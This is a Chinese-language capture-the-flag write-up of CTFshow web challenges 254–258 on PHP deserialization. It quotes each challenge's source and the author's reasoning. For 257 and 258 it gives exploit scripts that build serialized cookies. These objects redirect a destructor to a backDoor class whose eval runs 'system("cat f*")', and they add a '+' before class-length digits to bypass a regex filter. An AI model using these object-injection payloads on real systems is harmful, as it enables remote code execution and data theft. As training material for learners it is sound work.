CTFshow做题记录
跟迪哥学反序列化,顺手做的几道题目,记录一下
题目:web254
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
if($this->username===$u&&$this->password===$p){
$this->isVip=true;
}
return $this->isVip;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = new ctfShowUser();
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
解题思路:
- 触发vipOneKeyGetFlag
- $this->isVip为真
这题目跟反序列化没关系,主要是考验对代码逻辑是否清晰,怎么调用的
只需要/?username=xxxxxx&password=xxxxxx
题目:web255
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){ //检查是否传入username,password
$user = unserialize($_COOKIE['user']); //传入Cookie
if($user->login($username,$password)){ //调用login(),跳转到上面login检查username和password的值是否为xxxxxx
if($user->checkVip()){ //检查isVip的bool值是否为真
$user->vipOneKeyGetFlag(); //为真,就调用vipOneKeyGetFlag(),跳转到上面function
}
}else{
echo "no vip,no flag";
}
}
思路
这个题目的关键点在于isVip的bool值,代码中我们想要的是调用vipOneKeyGetFlag()
这个函数,但是不管是if($user->checkVip())
还是vipOneKeyGetFlag()
里面的if($this->isVip)
,都有对isVip的bool判断,并且题目的函数中并没有对isVip布尔值的修改,我们能操作的点只有两个:
- GET传进去username&password
$user = unserialize($_COOKIE['user']);
我们可以在第二个注入点中,将isVip的bool值修改成true,记得将serialize后的字符串url编码,可以用php的内置函数urlencode()
FLAG
抓包,把user这个参数通过Cookie传进去,把username=xxxxxx和password=xxxxxx用GET方法传进去
题目:256
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
if($this->username!==$this->password){
echo "your flag is ".$flag;
}
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
思路
跟上题不一样的在于需要$this->username===$u&&$this->password===$p;
,又要if($this->username!==$this->password)
所以直接在定义public变量username和password的地方直接给他改了,改成不一样的就行
Flag
your flag is ctfshow{ffff1dc0-b627-4337-9394-85bf0d9e6ba3}
题目:257
反序列化造成的rec漏洞
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 20:33:07
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';
public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
private $code;
public function getInfo(){
eval($this->code);
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
$user->login($username,$password);
}
思路
-
先抓源头,找到可以用eval()来getshell,我们需要调用backDoor这个类里的getInfo这个函数
-
我们的exp里肯定是要new一个类的,所以必然会调用__construct,这个魔术方法实例化了info,info里会改变user的值,我们就无法传入值了,so需要把这个info改掉,改成backDoor
-
让$this->class是backDoor类的实例化就可以了
-
如果不把$this->class=new info();这个语句里的info改成backDoor,就会导致__destruct调用的时候只能进到info这个类,进不去backDoor
-
然后要做的就是改一下
code
的参数,'system("cat f*");'
是的,您的理解是正确的。在这个PHP脚本中,
ctfShowUser
类的实例化过程中,通过$this->class=new info();
将info
类的一个实例赋给了$class
属性。当ctfShowUser
实例被销毁时,会自动调用__destruct
方法,进而调用$this->class->getInfo()
,这里的$this->class
指向的是之前创建的info
类的实例。如果您不修改
$this->class=new info();
为$this->class=new backDoor();
,那么即使您尝试通过某种方式注入或修改了$user
对象(比如通过序列化/反序列化攻击),在__destruct
方法调用时,执行的依旧是info
类中的getInfo()
方法,而不是backDoor
类中的getInfo()
方法,后者可能包含允许执行任意代码的eval
函数。因此,为了利用这个脚本潜在的安全漏洞,比如执行任意代码,您需要确保
ctfShowUser
实例的$class
属性指向的是backDoor
类的实例,这样在对象销毁时,才能通过backDoor
类的getInfo()
方法执行恶意代码。这通常涉及到对$user
对象进行序列化和反序列化的操作,并且在反序列化时篡改$class
属性的内容,使其指向backDoor
类。
EXP
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
public function __construct(){
$this->class=new backDoor();
}
}
class backDoor{
private $code = 'system("cat f*");';
public function getInfo(){
eval($this->code);
}
}
echo urlencode(serialize(new ctfShowUser()));
?>
Flag
题目:258
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 21:38:56
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public $class = 'info';
public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
public $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
public $code;
public function getInfo(){
eval($this->code);
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
$user = unserialize($_COOKIE['user']);
}
$user->login($username,$password);
}
思路
除了if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user']))
加了这段过滤,跟上题没区别
过滤了o:
或者c:
之后加了数字,我们把后面这个数字前面加一个+
就可以绕过这个正则匹配
用str_replace替换一下就好,注意要先序列化,然后替换,再urlencode,否则会出错d
exp
<?php
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $class = 'backDoor';
public function __construct(){
$this->class=new backDoor();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class backDoor{
public $code='system("cat f*");';
public function getInfo(){
eval($this->code);
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
$user = unserialize($_COOKIE['user']);
}
$user->login($username,$password);
}
$a = serialize(new ctfShowUser());
$b = str_replace(':11',':+11',$a);
$c = str_replace(':8',':+8',$b);
echo urlencode($c);
?>